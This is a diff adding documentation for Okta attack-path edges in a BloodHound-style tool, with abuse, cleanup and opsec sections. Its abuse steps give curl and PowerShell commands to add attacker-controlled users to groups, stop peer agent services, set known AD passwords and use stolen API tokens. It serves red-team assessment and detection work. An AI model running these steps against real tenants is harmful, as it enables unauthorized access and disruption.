diff --git a/descriptions/edges/Okta_AddMember.md b/descriptions/edges/Okta_AddMember.md index 2006bb7..857325d 100644 --- a/descriptions/edges/Okta_AddMember.md +++ b/descriptions/edges/Okta_AddMember.md @@ -11,3 +11,108 @@ graph LR u1 -- Okta_AddMember --> g1 app1 -- Okta_AddMember --> g2 ``` + +## Abuse Info + +An attacker who controls the source principal can add an Okta user they control to the destination group. This can grant any access that is driven by that group, including application assignments, downstream group push or SCIM access, and policy targeting. OpenHound emits this edge for scoped Okta groups that do not have direct Okta admin role assignments, so the usual impact is privilege or access gained through group-driven entitlements rather than direct inheritance of an Okta admin role from the destination group. + +For a user source, authenticate as that user. For a group source, authenticate as any compromised member of the source group, because Okta role assignments granted to a group are inherited by the group's members. For an application source, use a valid access token for the service app or client that has the custom admin role assignment. + +Using the Admin Console: + +1. Sign in to the Okta Admin Console as the source user or as a member of the source group. +2. Open **Directory** > **Groups** and select the destination group from the edge. +3. Open the group's people or members tab and choose the action to assign people to the group. +4. Search for the attacker-controlled Okta user and add that user to the group. +5. Start a new SSO flow, refresh application sessions, or request new OAuth/OIDC tokens as the added user so newly granted group-based access is evaluated. + +Using the Okta Groups API: + +1. Set the Okta org URL, an API token or bearer token for the source principal, the destination group ID, and the attacker-controlled user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. Confirm that the target is an Okta-managed group. The Groups API can directly modify memberships for `OKTA_GROUP` groups; imported `APP_GROUP` memberships are managed by the source application or directory. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID" \ + | jq '{id, type, name: .profile.name}' + ``` + +3. Add the controlled user to the destination group. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + + A successful request returns `204 No Content`. If using OAuth instead of an SSWS API token, replace the authorization header with `Authorization: Bearer $OKTA_ACCESS_TOKEN`. + +4. Verify the new membership. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login] | @tsv' + ``` + +5. Re-authenticate as the controlled user or refresh the user's tokens and sessions. If the group grants an application assignment, launch that app through Okta. If the group is pushed or synced to a downstream application, wait for provisioning or trigger the relevant sync before using the downstream entitlement. + +The same relationship can also be abused destructively by removing legitimate users from the destination group, which may revoke application access, admin access, or policy-based access that depends on the group. + +## Cleanup after Abuse + +Cleanup removes the attacker-controlled user from the destination group, restores any legitimate members that were removed, and lets downstream provisioning revoke access granted by the temporary membership. + +Cleanup using Admin Console: + +1. Open **Directory** > **Groups** and select the destination group. +2. Open the group's people or members tab. +3. Remove the attacker-controlled user from the group. +4. Add back any legitimate users that were removed during the operation. +5. Trigger or wait for downstream group push/provisioning, then verify connected applications no longer grant the temporary access. + +Cleanup using API: + +1. Remove the temporary user from the Okta-managed destination group. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Confirm the membership is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +## Opsec Considerations + +Adding a user to a group creates Okta System Log activity with the `group.user_membership.add` event type. Defenders commonly alert on membership changes to privileged application groups, groups pushed to downstream SaaS applications, and groups used in sign-on or MFA policies. + +The API path leaves the caller, client, source IP, request URI, target group, and target user in Okta audit data. The Admin Console path creates the same membership-change telemetry and may additionally stand out through interactive admin-console activity from an unusual user, device, or network. + +## References + +- [Okta Groups API: Assign a user to a group](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/assignUserToGroup) +- [Okta custom role permissions](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_AgentMemberOf.md b/descriptions/edges/Okta_AgentMemberOf.md index 8bd612c..5faf8bc 100644 --- a/descriptions/edges/Okta_AgentMemberOf.md +++ b/descriptions/edges/Okta_AgentMemberOf.md @@ -17,4 +17,226 @@ graph LR ``` > [!NOTE] -> Traversable edges between Okta_AgentPool and AD Domain nodes are not modeled in the current version of the Okta BloodHound extension. Support for this is planned for a future release. \ No newline at end of file +> Traversable edges between Okta_AgentPool and AD Domain nodes are not modeled in the current version of the Okta BloodHound extension. Support for this is planned for a future release. + +## Abuse Info + +An attacker who controls the source Okta Agent can influence the destination agent pool because the source agent is one worker that Okta can use for the pool's on-premises integration traffic. For AD pools, this can affect delegated authentication, imports, provisioning, password sync, and membership sync. For other pool types, the impact depends on the connected system, such as LDAP, IWA, RADIUS, or another on-premises connector. + +Control of a single agent is strongest when it is the only healthy member of the pool. In a multi-agent pool, the attacker may receive only a share of the pool's work unless they also control or disrupt peer agents, which is noisy and visible in agent health telemetry. + +Using the Admin Console: + +1. Sign in to the Okta Admin Console with an account that can view agents and directory integrations. +2. Open the org agent status view or the affected directory integration's agent view. +3. Identify the destination agent pool from the edge and list all agents in that pool. +4. Confirm whether the source agent is the only active member or one of several active members. +5. Follow `Okta_AgentPoolFor` to identify the backing directory integration or application served by the pool. +6. Review the integration's delegated authentication, import, password sync, and group sync settings to identify which Okta users or groups can be influenced through the pool. +7. From the controlled source agent host, tamper with the relevant source-system state, collect exposed service-account material, or disrupt peer agents to increase the chance that traffic flows through the controlled agent. +8. Trigger or wait for import, provisioning, or delegated authentication, then use the resulting `Okta_UserSync`, `Okta_MembershipSync`, `Okta_PasswordSync`, or app-assignment path. + +Using the Okta API, agent hosts, and AD PowerShell: + +1. Set variables for the destination pool, controlled source agent, and any AD-to-Okta change you plan to verify. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export AGENT_POOL_ID="0ap..." + export CONTROLLED_AGENT_ID="0ag..." + export TARGET_OKTA_GROUP_ID="00g..." + export CONTROLLED_OKTA_USER_ID="00u..." + ``` + +2. Enumerate the destination pool and its member agents. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?limitPerPoolType=20" \ + | jq --arg pool "$AGENT_POOL_ID" ' + .[] + | select(.id == $pool) + | { + id, + name, + type, + operationalStatus, + disruptedAgents, + inactiveAgents, + agents: ((.agents // [] | if type == "array" then . else [.] end) + | map({ + id, + name, + active, + operationalStatus, + lastConnection, + version, + poolId + })) + }' + ``` + +3. On the controlled source agent host, enumerate the local agent service and the account it runs as. + + ```powershell + $ControlledAgentHost = "CONTOSO-SRV1" + + Invoke-Command -ComputerName $ControlledAgentHost -ScriptBlock { + Get-CimInstance Win32_Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Select-Object Name, DisplayName, State, StartName, PathName + } + ``` + +4. If the path requires more pool traffic to hit the controlled agent and the operational noise is acceptable, stop peer agent services so Okta marks them inactive or disrupted and uses the remaining healthy agent. + + ```powershell + $PeerAgentHosts = @("CONTOSO-SRV2", "CONTOSO-SRV3") + + Invoke-Command -ComputerName $PeerAgentHosts -ScriptBlock { + Get-Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Stop-Service -Force + } + ``` + +5. Make the source-system change that the destination pool will import. For an AD pool, a common path is adding a controlled AD user to an imported AD group. + + ```powershell + Import-Module ActiveDirectory + + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + + Add-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn + ``` + +6. After the pool imports the change, verify the linked Okta user reached the destination Okta group. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +7. Re-authenticate as the linked Okta user or refresh tokens and sessions so the newly imported group, policy, or app assignment is evaluated. + +## Cleanup after Abuse + +Cleanup for `Okta_AgentMemberOf` means returning the controlled source agent and all peer agents in the destination pool to their legitimate state, reversing source-directory changes imported through the pool, rotating credentials exposed from the agent member, and verifying the pool is healthy. + +Cleanup using Admin Console: + +1. Open the org agent status view or the directory integration tied to the destination pool. +2. Confirm every legitimate pool member is active and that disrupted or inactive agent counts have returned to normal. +3. Restore the controlled source agent's service, registration state, local configuration, and file permissions. +4. Restart any peer agents that were stopped or degraded during the operation. +5. Rotate exposed AD, LDAP, RADIUS, IWA, or connector service-account credentials used by the pool. +6. Remove temporary source-directory changes, then run or wait for import/provisioning to converge. +7. Confirm synchronized users, groups, and delegated-auth behavior match the pre-operation state. + +Cleanup using API: + +1. Restart peer agents that were stopped to bias pool traffic. + + ```powershell + $PeerAgentHosts = @("CONTOSO-SRV2", "CONTOSO-SRV3") + + Invoke-Command -ComputerName $PeerAgentHosts -ScriptBlock { + Get-Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Start-Service + + Get-Service | + Where-Object { $_.DisplayName -like "*Okta*Agent*" -or $_.Name -like "*Okta*" } | + Select-Object MachineName, Name, DisplayName, Status + } + ``` + +2. Remove temporary AD group membership or source-directory state imported through the destination pool. + + ```powershell + Import-Module ActiveDirectory + + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + + Remove-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn -Confirm:$false + ``` + +3. Rotate the directory connector service account if its password, token, Kerberos tickets, or local material were exposed from the controlled agent. + + ```powershell + Import-Module ActiveDirectory + + $AgentServiceAccount = "OktaService" + $NewPassword = Read-Host "New directory connector password" -AsSecureString + + Set-ADAccountPassword -Identity $AgentServiceAccount -Reset -NewPassword $NewPassword + ``` + +4. Verify the destination pool and its agents have returned to the expected operational state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?limitPerPoolType=20" \ + | jq --arg pool "$AGENT_POOL_ID" ' + .[] + | select(.id == $pool) + | { + id, + name, + type, + operationalStatus, + disruptedAgents, + inactiveAgents, + agents: ((.agents // [] | if type == "array" then . else [.] end) + | map({id, name, active, operationalStatus, lastConnection})) + }' + ``` + +5. After import runs, verify the temporary Okta group membership is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID)' + ``` + +6. Revoke sessions and OAuth tokens for any Okta user that used access gained through the pool. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Agent-pool abuse is visible at three layers. Okta exposes pool health changes through agent status, disrupted agent counts, inactive agent counts, import behavior, and delegated-auth outcomes. The controlled and peer hosts log service stops, restarts, remote logons, PowerShell activity, and file access. The connected directory logs the actual user, group, password, or authentication changes that the pool imports or validates. + +Stopping peer agents to force traffic through a controlled source agent is especially noisy. It can produce obvious pool degradation, failed delegated-auth attempts, delayed imports, and Windows Service Control Manager events on several servers. A high-signal detection chain is an agent becoming inactive, followed by an AD group or password change, followed by `application.provision.user.sync`, `user.authentication.auth_via_AD_agent`, or new Okta sessions for the affected user. + +## References + +- [Okta Agent Pools API: List all agent pools](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/AgentPools/#tag/AgentPools/operation/listAgentPools) +- [Okta view org agents status](https://help.okta.com/oie/en-us/content/topics/dashboard/view-org-agent-status.htm) +- [Okta install multiple Active Directory agents](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-install-multiple.htm) +- [Okta service account permissions](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-about-service-account.htm) +- [Okta delegated authentication with Active Directory](https://help.okta.com/en-us/Content/Topics/Directory/Directory_AD_Delegated_Authentication.htm) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Add-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/add-adgroupmember) +- [Microsoft Remove-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/remove-adgroupmember) +- [Microsoft Set-ADAccountPassword](https://learn.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) diff --git a/descriptions/edges/Okta_AgentPoolFor.md b/descriptions/edges/Okta_AgentPoolFor.md index 826930a..d334b57 100644 --- a/descriptions/edges/Okta_AgentPoolFor.md +++ b/descriptions/edges/Okta_AgentPoolFor.md @@ -24,3 +24,220 @@ graph TB c1 -- Okta_HostsAgent --> a1 c2 -- Okta_HostsAgent --> a2 ``` + +## Abuse Info + +An attacker who controls the source agent pool can compromise or influence the destination AD-backed Okta application because the pool performs the on-premises sync and authentication work for that integration. This edge is usually abused after compromising one or more agents in the pool with `Okta_HostsAgent` or `Okta_AgentMemberOf`. + +The destination `Okta_Application` represents the AD integration in Okta. If the application uses delegated authentication, imports, password sync, or group sync, controlling the source pool can let the attacker affect the Okta users and groups represented by `Okta_UserSync`, `Okta_PasswordSync`, `Okta_MembershipSync`, `Okta_UserPull`, and `Okta_GroupPull`. + +Using the Admin Console: + +1. Compromise one or more agents in the source pool, then identify the destination AD integration application from the edge. +2. In the Okta Admin Console, open **Directory** > **Directory Integrations** > **Active Directory** and select the destination integration. +3. Review the integration's agents and confirm they belong to the source pool. +4. Review delegated authentication, import, profile mastering, password sync, and group sync settings to determine whether the app can update Okta users, validate Okta sign-ins against AD, or synchronize group membership. +5. In AD, modify the authoritative object that maps to the desired destination Okta object. Common examples are adding a controlled AD user to an imported group, changing a profile attribute consumed by Okta group rules, or resetting the AD password for a delegated-auth user. +6. Run an import from the integration if a manual import is available, or wait for the scheduled agent import. +7. Verify the destination app-user, Okta user, or Okta group changed, then use the resulting app assignment, group claim, policy condition, or delegated-auth sign-in. + +Using Active Directory PowerShell and Okta API verification: + +1. Set variables for the source pool, destination AD app, controlled user, and any destination group you expect the AD integration to affect. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export AGENT_POOL_ID="0ap..." + export AD_APP_ID="0oa..." + export CONTROLLED_OKTA_USER_ID="00u..." + export TARGET_OKTA_GROUP_ID="00g..." + ``` + +2. Verify the source pool, agent health, and pool type. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?poolType=AD&limitPerPoolType=20" \ + | jq --arg pool "$AGENT_POOL_ID" ' + .[] + | select(.id == $pool) + | { + id, + name, + type, + operationalStatus, + disruptedAgents, + inactiveAgents, + agents: ((.agents // [] | if type == "array" then . else [.] end) + | map({id, name, active, operationalStatus, lastConnection})) + }' + ``` + +3. Inspect the destination AD application record and app-user mapping for the controlled Okta user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$AD_APP_ID" \ + | jq '{id, name, label, status, signOnMode, features}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$AD_APP_ID/users/$CONTROLLED_OKTA_USER_ID" \ + | jq '{id, externalId, scope, status, syncState, lastUpdated, passwordChanged}' + ``` + +4. Make the AD-side change that the source pool will import or validate. This example both adds the controlled AD user to an imported AD group and sets a known AD password for delegated-auth testing. + + ```powershell + Import-Module ActiveDirectory + + $ControlledAdUserSam = "alice" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $KnownPassword = ConvertTo-SecureString "CorrectHorseBatteryStaple!42" -AsPlainText -Force + + Add-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn + Set-ADAccountPassword -Identity $ControlledAdUserSam -Reset -NewPassword $KnownPassword + Unlock-ADAccount -Identity $ControlledAdUserSam + ``` + +5. After the AD agent import runs, verify the destination Okta group contains the linked Okta user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +6. Check the app-user record again for import or sync state changes. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$AD_APP_ID/users/$CONTROLLED_OKTA_USER_ID" \ + | jq '{id, externalId, scope, status, syncState, lastUpdated, passwordChanged}' + ``` + +7. If delegated authentication is enabled, attempt an interactive Okta sign-in as the linked Okta user with the known AD password. Use the resulting session, group membership, or app assignment only after MFA and sign-on policy requirements are satisfied. + +## Cleanup after Abuse + +Cleanup for `Okta_AgentPoolFor` means restoring the AD source objects that the pool imported or authenticated against, returning the destination AD application to normal sync state, rotating exposed pool or service-account credentials, and revoking Okta sessions created through the temporary app influence. + +Cleanup using Admin Console: + +1. Open **Directory** > **Directory Integrations** > **Active Directory** and select the destination application. +2. Confirm the source pool's agents are active and that the app is not reporting import, provisioning, or delegated-auth failures. +3. Restore any delegated authentication, import, profile mastering, password sync, or group sync settings that were changed. +4. Restore the AD users, groups, passwords, and profile attributes that were modified to influence the destination app. +5. Rotate the AD agent service account or connector credentials if they were exposed from the source pool. +6. Run or wait for import and review staged changes before confirming them. +7. Verify the destination Okta user, destination group, and application assignment state have returned to the legitimate baseline. +8. Revoke sessions for any Okta user that used access gained through the temporary AD app state. + +Cleanup using API: + +1. Remove the temporary AD group membership and replace the attacker-known password with a legitimate reset. + + ```powershell + Import-Module ActiveDirectory + + $ControlledAdUserSam = "alice" + $ControlledAdUserDn = "CN=alice,OU=Users,DC=contoso,DC=com" + $TargetAdGroupDn = "CN=Finance App Admins,OU=Groups,DC=contoso,DC=com" + $LegitimateTempPassword = ConvertTo-SecureString "REPLACE_WITH_APPROVED_TEMP_PASSWORD" -AsPlainText -Force + + Remove-ADGroupMember -Identity $TargetAdGroupDn -Members $ControlledAdUserDn -Confirm:$false + Set-ADAccountPassword -Identity $ControlledAdUserSam -Reset -NewPassword $LegitimateTempPassword + Set-ADUser -Identity $ControlledAdUserSam -ChangePasswordAtLogon $true + ``` + +2. Rotate the AD agent service account if source-pool control exposed that credential. + + ```powershell + Import-Module ActiveDirectory + + $AgentServiceAccount = "OktaService" + $NewPassword = Read-Host "New AD agent service-account password" -AsSecureString + + Set-ADAccountPassword -Identity $AgentServiceAccount -Reset -NewPassword $NewPassword + ``` + +3. Verify the source pool is healthy before waiting for import convergence. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/agentPools?poolType=AD&limitPerPoolType=20" \ + | jq --arg pool "$AGENT_POOL_ID" ' + .[] + | select(.id == $pool) + | { + id, + name, + type, + operationalStatus, + disruptedAgents, + inactiveAgents, + agents: ((.agents // [] | if type == "array" then . else [.] end) + | map({id, name, active, operationalStatus, lastConnection})) + }' + ``` + +4. After import runs, confirm the destination app-user record and destination group no longer show the temporary access path. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$AD_APP_ID/users/$CONTROLLED_OKTA_USER_ID" \ + | jq '{id, externalId, scope, status, syncState, lastUpdated, passwordChanged}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_OKTA_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_OKTA_USER_ID)' + ``` + +5. Revoke sessions and OAuth tokens for the affected Okta user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +`Okta_AgentPoolFor` abuse creates evidence in the destination AD application, the source pool, the agent hosts, and AD. Okta-side indicators include changed pool health, import/provisioning activity, `application.provision.user.sync`, `user.authentication.auth_via_AD_agent`, app-user sync changes, and new sessions or app launches by users whose access came from the AD integration. + +AD-side indicators include group membership changes, password resets, account unlocks, and authentication attempts from Okta agent servers. Endpoint indicators on the source pool's agents include service restarts, agent process tampering, remote logons, PowerShell activity, and unusual access to agent directories or credential material. + +## References + +- [Okta Agent Pools API: List all agent pools](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/AgentPools/#tag/AgentPools/operation/listAgentPools) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Users API: Retrieve an application user](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/#tag/ApplicationUsers/operation/getApplicationUser) +- [Okta Group API: List all member users](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/#tag/Group/operation/listGroupUsers) +- [Okta view org agents status](https://help.okta.com/oie/en-us/content/topics/dashboard/view-org-agent-status.htm) +- [Okta install multiple Active Directory agents](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-install-multiple.htm) +- [Okta delegated authentication with Active Directory](https://help.okta.com/en-us/Content/Topics/Directory/Directory_AD_Delegated_Authentication.htm) +- [Okta service account permissions](https://help.okta.com/oie/en-us/content/topics/directory/ad-agent-about-service-account.htm) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Add-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/add-adgroupmember) +- [Microsoft Remove-ADGroupMember](https://learn.microsoft.com/en-us/powershell/module/activedirectory/remove-adgroupmember) +- [Microsoft Set-ADAccountPassword](https://learn.microsoft.com/en-us/powershell/module/activedirectory/set-adaccountpassword) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) diff --git a/descriptions/edges/Okta_ApiTokenFor.md b/descriptions/edges/Okta_ApiTokenFor.md index ea7aecc..a7f6aa6 100644 --- a/descriptions/edges/Okta_ApiTokenFor.md +++ b/descriptions/edges/Okta_ApiTokenFor.md @@ -15,3 +15,180 @@ graph LR t3 -- Okta_ApiTokenFor --> u2 u2 -- Okta_SuperAdmin --> org ``` + +## Abuse Info + +An attacker who obtains the raw SSWS API token represented by the source `Okta_ApiToken` can call Okta Management API endpoints as the destination `Okta_User`. OpenHound only collects token metadata such as token ID, owner, client name, creation time, and network restrictions; it does not collect the token value. The token value must be recovered from a script, CI/CD secret, workstation, server configuration, password manager, shell history, or another storage location. + +The token inherits the destination user's effective Okta permissions. If the destination user has privileged edges such as `Okta_SuperAdmin`, `Okta_OrgAdmin`, `Okta_GroupAdmin`, `Okta_AppAdmin`, or custom-role-derived edges, the token can usually exercise the same API permissions without an interactive browser session. If the token has an API token network condition, the request must originate from an allowed IP range. + +Using the Admin Console: + +1. If you also control the destination user interactively, sign in to the Admin Console as that user and browse to **Security** > **API** > **Tokens** to review the token name, creation time, owner, and network condition. +2. Match the graph source `Okta_ApiToken` to the Admin Console token record by token ID, client name, owner, and timestamps. +3. Use the Admin Console only for inspection or for actions that require a browser workflow. The actual abuse of this edge is API-based because the source credential is an SSWS token. +4. Continue with the API steps and perform only actions allowed by the destination user's admin roles. + +Using the Okta API: + +1. Set the Okta org URL and the recovered source token value. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export COMPROMISED_SSWS_TOKEN="REDACTED" + export DESTINATION_USER_ID="00u..." + ``` + +2. Verify that the token is valid and identify the user linked to the API token. + + ```bash + curl -sS \ + -H "Authorization: SSWS $COMPROMISED_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/me" \ + | jq -r '{id, status, login: .profile.login, provider: .credentials.provider}' + ``` + + A successful response returns the destination user. A `403` on a later endpoint does not mean the token is invalid; it may only mean the destination user lacks that specific permission. + +3. Enumerate a low-impact object that matches an adjacent edge. For example, if the path continues through an app-admin or read-client-secret edge, verify app read access first. + + ```bash + curl -sS \ + -H "Authorization: SSWS $COMPROMISED_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps?limit=1" \ + | jq -r '.[] | [.id, .label, .status] | @tsv' + ``` + +4. Use the token for the privileged action represented by the destination user's adjacent edges. For example, if the destination user can add members to a target group, add a controlled user to that group. + + ```bash + export TARGET_GROUP_ID="00g..." + export ATTACKER_USER_ID="00u..." + + curl -i -sS -X PUT \ + -H "Authorization: SSWS $COMPROMISED_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$ATTACKER_USER_ID" + ``` + + A successful group-membership add returns `204 No Content`. + +5. Verify the action before continuing down the attack path. + + ```bash + curl -sS \ + -H "Authorization: SSWS $COMPROMISED_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users" \ + | jq -r --arg user "$ATTACKER_USER_ID" '.[] | select(.id == $user) | [.id, .profile.login] | @tsv' + ``` + +## Cleanup after Abuse + +Cleanup for `Okta_ApiTokenFor` means revoking the exposed source API token and reversing every Okta change made with the destination user's API authority. + +Cleanup using Admin Console: + +1. Sign in as an administrator who can manage API tokens. +2. Go to **Security** > **API** > **Tokens**. +3. Locate the source token by token ID, token name, client name, destination user, creation time, or network condition. +4. Revoke the exposed token. If the token belongs to an Okta agent or integration, coordinate replacement first so the legitimate service is not broken unexpectedly. +5. Reverse any changes made with the token, such as temporary group membership, app assignments, app credential changes, user lifecycle changes, or policy changes. +6. Review the destination user's recent API token activity and revoke any additional tokens that were created during the operation. +7. Verify the old token no longer works from both the original allowed network and the attack infrastructure network if they differ. + +Cleanup using API: + +1. Set variables for a cleanup credential, the exposed token metadata, and any temporary access created during abuse. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export CLEANUP_SSWS_TOKEN="REDACTED" + export COMPROMISED_SSWS_TOKEN="REDACTED_EXPOSED_TOKEN_VALUE" + export EXPOSED_API_TOKEN_ID="00T..." + export DESTINATION_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + export ATTACKER_USER_ID="00u..." + ``` + +2. If the token ID is not known, list active API token metadata and filter by the destination user or token client name. Follow pagination if the response includes a `Link` header. + + ```bash + curl -sS \ + -H "Authorization: SSWS $CLEANUP_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/api-tokens?limit=200" \ + | jq -r --arg user "$DESTINATION_USER_ID" '.[] | select(.userId == $user) | [.id, .name, .clientName, .created, .lastUpdated, .expiresAt] | @tsv' + ``` + +3. Remove temporary group membership or other objects created through adjacent edges. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $CLEANUP_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$ATTACKER_USER_ID" + ``` + + A successful removal returns `204 No Content`. + +4. Revoke the exposed token. If the cleanup credential is the exposed token itself, use `/api/v1/api-tokens/current`; otherwise revoke by token ID. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $CLEANUP_SSWS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/api-tokens/$EXPOSED_API_TOKEN_ID" + ``` + + A successful revoke returns `204 No Content`. + +5. Revoke sessions and OAuth tokens for accounts modified during the operation when the operation created browser or bearer-token access. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $CLEANUP_SSWS_TOKEN" \ + -H "Accept: application/json" \ + 